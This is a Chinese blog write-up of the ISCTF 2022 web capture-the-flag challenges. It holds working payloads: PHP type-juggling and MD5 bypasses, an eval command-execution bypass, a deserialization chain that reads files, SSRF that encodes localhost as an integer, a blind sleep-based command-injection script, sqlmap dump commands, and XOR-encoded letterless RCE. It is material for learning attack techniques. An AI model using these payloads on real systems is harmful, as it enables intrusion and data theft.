ISCTF 2022 WEB WP分享

已于 2023-12-07 11:23:23 修改
阅读量1.6k 收藏 21
点赞数 5
文章标签： php 网络安全 web安全 安全
于 2022-11-04 21:17:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/starttv/article/details/127560966
版权

文章目录

感谢老六师傅和gsf1yy师傅的帮助和指导

EASY-PHP01

题目如下
在这里插入图片描述
直接右键查看源代码。

在这里插入图片描述
可以看到提示给我一个hint，我给你一个hint。

意思是，GET传参数hint。
在这里插入图片描述
传出去后发现了源代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>web签到</title>
</head>
<body>
<!--给我一个hint，我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
    if (isset($_POST['ISCTF'])) {
        $ISCTF = $_POST['ISCTF'];
        if($ISCTF == 114514){
            if($ISCTF === "114514"){
                echo "好臭啊";
            }else{
                echo $flag;
            }
        }else{
            echo "= == === != !==";
        }
    }else{
        echo "什么是POST？";
    }
}else{
    echo " 什么是GET？";
}
什么是POST？

第一个判断条件我们已经进来了，就是高亮代码。

我们看第二个判断if (isset($_POST['ISCTF']))这里需要我们上传一个POST参数ISCTF。而且if($ISCTF == 114514)需要上传的参数的值为114514，并且还不能完全等于114514。

这里用到了PHP弱比较的知识

1、== ：弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说，它不会比较变量类型，只比较值。至于怎么转换后续会再赘述。
2、=== ：强等于。在比较前会先判断两种字符串类型是否相同再进行比较，如果类型不同直接返回不相等。既比较值也比较类型。

附上详细参考：https://denverbbyf.github.io/2016/10/23/php-compare/

Payload：
ISCTF=114514s
在进行==比较时，php会自动将字符串转为数字进行值的比较，在这里114512和114512s是相等的。

在进行===比较时，php会先判断两种字符串的类型是否相同，很显然两者都是字符串，第一个判断通过，再进行值的比较，两者是不相等的。

在这里插入图片描述
这样就得到了flag

FakeWeb

先看题目描述

好快！你能看出来这是个假的页面吗？

打开靶场可以看到蓝鲨信息的官网，这里的url发生了跳转。
在这里插入图片描述
这个官网跟题目是没有关系的，也找不到有用的信息。我们先抓个包看一看。

在这里插入图片描述
这里可以看到有意思的东西，If-None-Match和ETag。
ETag是HTTP1.1中才加入的一个属性，用来帮助服务器控制Web端的缓存验证。

它的原理是这样的，当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag返回给浏览器，浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地，当下次再次向服务器请求A时，会通过类似 If-None-Match: "3f80f-1b6-3e1cb03b"的请求头把ETag发送给服务器，服务器再次计算A的哈希值并和浏览器返回的值做比较，如果发现A发生了变化就把A返回给浏览器(200)，如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存，可以节省服务器的带宽，因为服务器不需要每次都把全量数据返回给客户端。

附上参考链接：https://www.cnblogs.com/xuzhudong/p/8339853.html

大概意思是比较If-None-Match和ETag，如果两者不相等则重新返回资源，否则不返回。

我们将If-None-Match修改或删掉之后再发包。就得到了flag
在这里插入图片描述

EASY-PHP02

先看源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
    echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
    echo "做题前请告诉我你是小蓝鲨吗？";
    exit();
}
if (is_numeric($POST1)){
    if ($_GET["P0ST1"] != $_GET["P0ST2"]){
        
        if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

                $f1=$flag1;
                echo "小蓝鲨成功一半".$f1;              
            }
    }
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
    if( $GET1 == 0 ){
        echo "<br>"."前面的出来了吗？";
        if(is_numeric($GET2)){
            exit();
        }
        if($GET2 > 678){
            echo "答案就在眼前？"."<br>".$YOUR_NAME.",你觉得这是flag吗？"."<br>";     
            $Ag=base64_encode($flag2);
            }
    }
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗？

第一个判断就是GET传个NAME就不细写了。主要分析第二个大判断和第三个大判断，先看第二个。

if (is_numeric($POST1)){
    if ($_GET["P0ST1"] != $_GET["P0ST2"]){
        
        if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

                $f1=$flag1;
                echo "小蓝鲨成功一半".$f1;              
            }
    }
}

这里要求$POST1为数字，P0ST1和P0ST2不相等，而且P0ST1等于P0ST2的md5值。

注意：0不是O，0是零。

这里用到了PHP特性的知识，md5的比较。

原理：

在 php 中，当字符串 以0e开头时，会被 php 识别成科学计数法，会被认为是数字。

下面列出几个常用的MD5值以0e开头的字符串：

字符串MD5值
QNKCDZO0e830400451993494058024219903391
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469
s214587387a0e848240448830537924465865611904
s214587387a0e848240448830537924465865611904
s878926199a0e545993274517709034328855841020
s1091221200a0e940624217856561557816327384675

Payload1：http://120.79.18.34:20867/?NAME=11&P0ST1=0e545993274517709034328855841020&P0ST2=s878926199a
在这里插入图片描述
可以发现成功拿到了flag1，根据提示$flag = "flag{need_time_to_change}";可以猜测这个数字是个时间戳，我们进行转化得到3539-09-07 14:54:27这个信息先留着。

接下来我们看第二个大判断

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
if( $GET1 == 0 ){
        echo "<br>"."前面的出来了吗？";
        if(is_numeric($GET2)){
            exit();
        }
        if($GET2 > 678){
            echo "答案就在眼前？"."<br>".$YOUR_NAME.",你觉得这是flag吗？"."<br>";     
            $Ag=base64_encode($flag2);
            }
    }

这里需要$GET1不能为数字，而且$GET1又等于0，并且$GET2不能为数字，值大于678。

原理：

php 的 0 与任何字符串比较都为 true，这是不对的，但其实是正确的，因为字符串被强制转换后都成了 0。

Payload2：GET1=sdas&GET2=6782s
在这里插入图片描述
这里得到了flag2：

JXUwMDYxJXUwMDM3JXUwMDY0JXUwMDY1JXUwMDJkJXUwMDM3JXUwMDMxJXUwMDM3JXUwMDMwJXUwMDJkJXUwMDM0JXUwMDY0JXUwMDMwJXUwMDM2JXUwMDJkJXUwMDM5JXUwMDM3JXUwMDMwJXUwMDM4JXUwMDJkJXUwMDMzJXUwMDY0JXUwMDMxJXUwMDMyJXUwMDMxJXUwMDY0JXUwMDYyJXUwMDM4JXUwMDYyJXUwMDMxJXUwMDM5JXUwMDM1JXUwMDdk

我们在进行base64解码后可以得到一个unicode。

%u0061%u0037%u0064%u0065%u002d%u0037%u0031%u0037%u0030%u002d%u0034%u0064%u0030%u0036%u002d%u0039%u0037%u0030%u0038%u002d%u0033%u0064%u0031%u0032%u0031%u0064%u0062%u0038%u0062%u0031%u0039%u0035%u007d

对unicode转中文后可以得到一半的flag

a7de-7170-4d06-9708-3d121db8b195}

接下来就应该想办法把flag1和flag2进行拼接，得到最终的flag。
不过笔者拼了很久也没试出来。待笔者拼出来后再续写。

simplePHP

先看题

<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        echo "come on!!!";
        if($num=='36'&isset($_GET['cmd'])){

                eval($_GET['cmd']);



        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }
}

看到一个eval()可以执行代码，进入这里首要要满足，num通过is_numeric的检测，并且不等于36，去空后依然不等于36，经过过滤方法后依然等于36。

脚本:

for($i = 0; $i<129; $i++){
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
		echo urlencode(chr($i))."\n";
	}
}

结果:

%0C %2B - . 0 1 2 3 4 5 6 7 8 9

%0c其实就是+号的url编码

Payload:?str=\\\\\\\\/Ilikeisctf&num=%0c36&cmd=system('tac /f*');

猫和老鼠

先看题目描述

有个dog想想怎么躲避它

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);

class mouse
{
public $v;

   public function __toString()
    {
        echo "Good. You caught the mouse:";
        include($this->v);
      
    }

}


class cat
{
    public $a;
    public $b;
    public $c;


    public function __destruct(){
        $this->dog();
        $this->b = $this->c;
        die($this->a);
    }
    public function dog()
    { 
        $this->a = "I'm a vicious dog, Kitty";    
    }
}

unserialize($_GET["cat"]); 

?>

看到unserialize就明白这道题考php反序列化。

考点：

“__toString()”是php中的一个魔术方法，在把对象转换成字符串时自动调用，用于>一个类被当成字符串时应怎样回应；该方法必须返回一个字符串，否则将发出一条“E_RECOVERABLE_ERROR”级别的致命错误。

意思是当一个对象被当成字符串输出时，php会自动调用该对象的__toString()方法。
die()与echo的作用类似，会输出字符串。

Payload：

<?php

class mouse
{
    public $v;

    public function __construct()
    {
        $this->v = 'php://filter/convert.base64-encode/resource=flag.php';
    }

}


class cat
{
    public $a;
    public $b;
    public $c;
    public function __construct()
    {
        $this->b = &$this->a;
        $this->c = new mouse();
    }
}

$abc = new cat();
echo serialize($abc);

解释一下$this->b = &$this->a;中&是取地址符号，意思是b将指向a的地址空间，这时a和b都是指向同一个地址空间，给b赋值就相当于给a赋值。
在这里插入图片描述

另外，在include中可以使用伪协议。

参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称
convert.base64-encode等同于base64_encode()

读取文件源码（针对php文件需要base64编码）

php://filter/read=convert.base64-encode/resource=[文件名]

curl

题目描述

都告诉你curl了，剩下的就别问了

在这里插入图片描述
这里有个this可以点击，然后提示让我们从本地访问

在这里插入图片描述

返回去查看源代码，在注释里有一段代码。
在这里插入图片描述
意思是让我们传一个url地址，curl_get($urls)作用应该跟curl差不多。

先尝试?urls=http://127.0.0.1/flag.php发现被过滤了，localhost也不行。
在这里插入图片描述
尝试把127.0.0.1转化为其他进制

  • 2130706433 10进制 http://2130706433
  • 017700000001 8进制 http://017700000001
  • 7F000001 16进制 http://0x7F000001

尝试10进制可以,?urls=http://2130706433/flag.php
在这里插入图片描述

easy-onlineshell

题目

没有回显的shell

在这里插入图片描述

进入/rce

在这里插入图片描述
为什么不寻找备份呢？尝试www.zip，得到源码。


import flask
import subprocess

app = flask.Flask(__name__)


@app.route("/")
def hello_world():
    return "Try to access the /rce"


@app.route("/www.zip")
def return_SourceCode():
    with open("./app.py", "r") as f:
        return f.read()


@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
    if flask.request.method == "GET":
        return "Why not try to search the backup"
    elif flask.request.method == "POST":
        action = flask.request.form["act"]
        with open("/app/temp.sh", "w") as f:
            f.write(action[1:-1])
        res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
        # print(res)
        return "success"


if __name__ == '__main__':
    app.run(debug=True)

分析代码发现是命令执行，命令act可控，要注意第一位和最后一位。

题目提示没有回显，尝试反弹shell、dnslog都失败，感觉这题无回显不出网，唯一成功的命令就是sleep。

那就只能先把读到的flag写入一个文件里，然后猜字符猜对了就sleep。用python写个脚本跑一下。

注意：先执行下面这个命令，先写文件，再读文件。

这个脚本两道题通杀。

act=1echo `tac f* >1.txt`1

import requests

url = ""

strs = ""

dics = "abcdefgh ijklmnopqrstuvwxyz{}[].1234567890QAZWSXEDCRFVTGBYHNUJMIKOLP?-"
for num1 in range(0,60):
    for st in dics:
        data = {
            'act': '1a=`cat 1.txt`;if [ "${'+'a:{}:'.format(num1)+'1}" == '+'"{}" ];then sleep 2;fi1'.format(st)
        }
        try:
            requests.post(url=url, data=data, timeout=1)
        except:
            print(num1)
            strs=strs+st
            print(strs)
print(strs)

得到flag
在这里插入图片描述

傻注

题目描述

注一下

在这里插入图片描述
找一下登录界面login.php
在这里插入图片描述

根据题目猜测，这是一道sql注入的题目

burp suit简单扫一下，发现存在ua注入，到这里思路基本清晰了，直接sqlmap一把梭
在这里插入图片描述
查看数据库
sqlmap -u http://120.79.18.34:20387/login.php --level 3 --dbs
在这里插入图片描述
查看表
sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf --tables
在这里插入图片描述

查看user_agents内容

sqlmap -u http://120.79.18.34:20387/login.php --level 3 -D ctf -T user_agents --columns --dump
在这里插入图片描述
得到flag

rce?

先看题目

<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  $code = $_GET['shell'];
  var_dump(eval($code));
}else{
  
echo "你能拿到flag吗？";
} bool(false)

无字母数字命令执行可以尝试用异或

脚本:

先使用php脚本异或出可用的字符：

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }

		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

再用yu22x师傅的python脚本生成命令

# -*- coding: utf-8 -*-

# author yu22x

import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))+";"
   print(param)

在这里插入图片描述
Payload:
?shell=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%14%01%03%00%00%06%00"^"%60%60%60%20%2f%60%2a");
在这里插入图片描述
得到flag

Sn_u
关注
  • 5
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 14
    评论
实验吧WEB题目WP
08-10
这是自己做的一个实验吧的十七到题目的WP，其中也有别人的WP。
ISCTF赛后总结
xiaf5的博客
10-24 2225
学了一个月的菜鸡，第一次打ctf比赛，感觉自己实在太菜了，总结总结经验。 Web 跟着队友混，队友Web贼强，Web全AK. CRYPTO 弯弯曲曲的路 不合格的pwn手竟然拿到密码题的一血。。。 题目描述：一只古典的蓝鲨从一条路的尽头上下上下上的走过了弯弯曲曲的小路上，并且经过了5棵树还有5个银行。 打开下载的文件，文件名为zip格式提示用zip格式打开解压缩。 根据题目描述，应该是5组，每组5个 分组后仔细观察，发现flag是交叉式的。 ISCTF{Welc0nne_..
【虚空】【ISCTF2023】ISCTF2023 Crypto方向全wp
qq_42557115的博客
12-02 1507
这篇为ISCTF2023 密码学方向的全wp,剩下的逆向和pwn慢慢更新吧…下边的论述争取让所有师傅都能看懂个七七八八（前提是跟着思路别看见数字就头疼）容易证明的定理下边就杂合到一起了，除了RSA的基础加解密下边没细说之外，剩下的所有公式只要没说不证，都在本篇中有涉及。
ISCTF2022部分WP
y2xsec的博客
11-04 2267
ISCTF2022部分WP
ISCTF2022 WEB题解
qq2642343642的博客
02-09 422
ISCTF2022的web题解
ISCTF-WEB（部分）
BvxiE的博客
12-26 721
过太久了，可以网址都找不到了，凡事不能拖…有天晚上学习完上面的文章，我突然发现一道题出现了一些奇奇怪怪的东西！有趣！康康你能不能发现它？
ISCTF
qq_62046696的博客
11-15 484
upload,一道phar文件上传题目}这一段可以看出file_get_contents触发phar序列化，然后我们构造就可以也就试路径这麻烦一点扫描目录扫到一个www.rar。
CtfHub-wp（web）
最新发布
01-23
ctfhub平台web篇wp
wp的Web服务编程案例
04-03
wp的Web服务编程案例源码，移动设备现在紧密的跟互联网结合，开发者应该利用这个优势来开发各种网络服务，今天我们介绍在 Windows Phone 上开发 Web 服务应用。
网鼎杯2022白虎组题目分享
09-06
逆向，pwn，misc，加解密题目，网鼎杯2022，白虎组，ctf
WP精品CMS主题分享 blackred
05-12
WP精品CMS主题分享 blackred.zip
ISCTF2022部分wp
m0_73952121的博客
11-07 901
ISCTF2022部分wp
ISCTF 2022 REVERSE
chenglian1的博客
04-12 522
去年11月份左右为期一周的比赛，比较适合新手练习提高技能。比赛结束后有两道0解题，官方目前也没放出相应的wp。近期无意间翻到了这两道赛题中的一道就又拿来看了一眼，有一些新的思路和想法。
ISCTF2023 web方向wp超详细解析+做题思路(部分)
2301_76690905的博客
11-29 3357
题目：提示了一句话密码为1，直接蚁剑连靶场，密码连1进去就能看见flag1根目录有flag2flag3不可能一个个点，肯定是转去虚拟终端用命令找，在开虚拟终端之前看下.sh，一般都会放些提示我们就能知道，FLAG3 包含了 FLAG 变量的从第 21 个字符到末尾的部分，可以直接在虚拟终端输出 FLAG3 变量的值那我们先进入虚拟终端，然后cd /去到根目录，然后在根目录输出FLAG3 变量的值别的命令不知道为什么不是返回不了，就是权限不够，都已经root了（？
2022-ISCTF-部分MISC和PWN
tbsqigongzi的博客
11-05 1234
ISCTF-部分wp
ISCTF新生赛(引用传递&简单社工)
weixin_63231007的博客
11-28 774
而cat类中的 dog函数会对变量 $this->a 赋值字符串，我们可以利用这个$this->b = $this->c来给 $this->a 赋值 new mouse类，具体方法就是让$this->b = &$this->a,引用传递，之后die($this->a);根据 小港(南) 上北下南，肯定是红线，然后我们 去高雄捷运官网，根据唯一已知的末班车时刻表信息区查一下对应的站点。搜着搜着好多不是，但是最后猛地看见一个特别熟悉的背景，这不就是图里背面的画吗？我们搜索一下巨蛋站的信息，再确认一下。
SWPUCTF 2022新生赛 web部分wp
weixin_44770698的博客
01-16 3644
SWPUCTF 2022新生赛
NepCTF2022 WP
Pysnow's Blog
07-20 1657
NepCTFWriteUp
2022 SWPUCTF Web+Crypto方向wp
ph0ebus的博客
10-29 6085
简单阅读代码可以发现，__wakeup()方法会首先被激活，覆盖变量的值使flag不能被回显，因此这里需要绕过__wakeup()方法，__wakeup函数是在php在使用反序列化函数unserialize()时，会自动调用的函数。然后想办法读取文件，cat tac tail都被过滤了，那我们还可以利用nl查看文件内容，这里发现数字被过滤了，我们想到了*来匹配，但是*也被过滤了，尽管如此，我们还可以用?但是里面没有看到类似flag的东西，那就进入根目录看看，但是空格被过滤了，可以用${IFS}绕过。
强网杯 2022 谍影重重wp
12-18
强网杯2022谍影重重WP是我国一项网络安全竞赛中的一个题目解答。这道题目主要涉及隐写和密码学方面的知识，要求选手解析一段加密信息，并还原出明文信息。 解题过程如下： 首先，选手会得到一段看似普通的文本，但...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 14
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值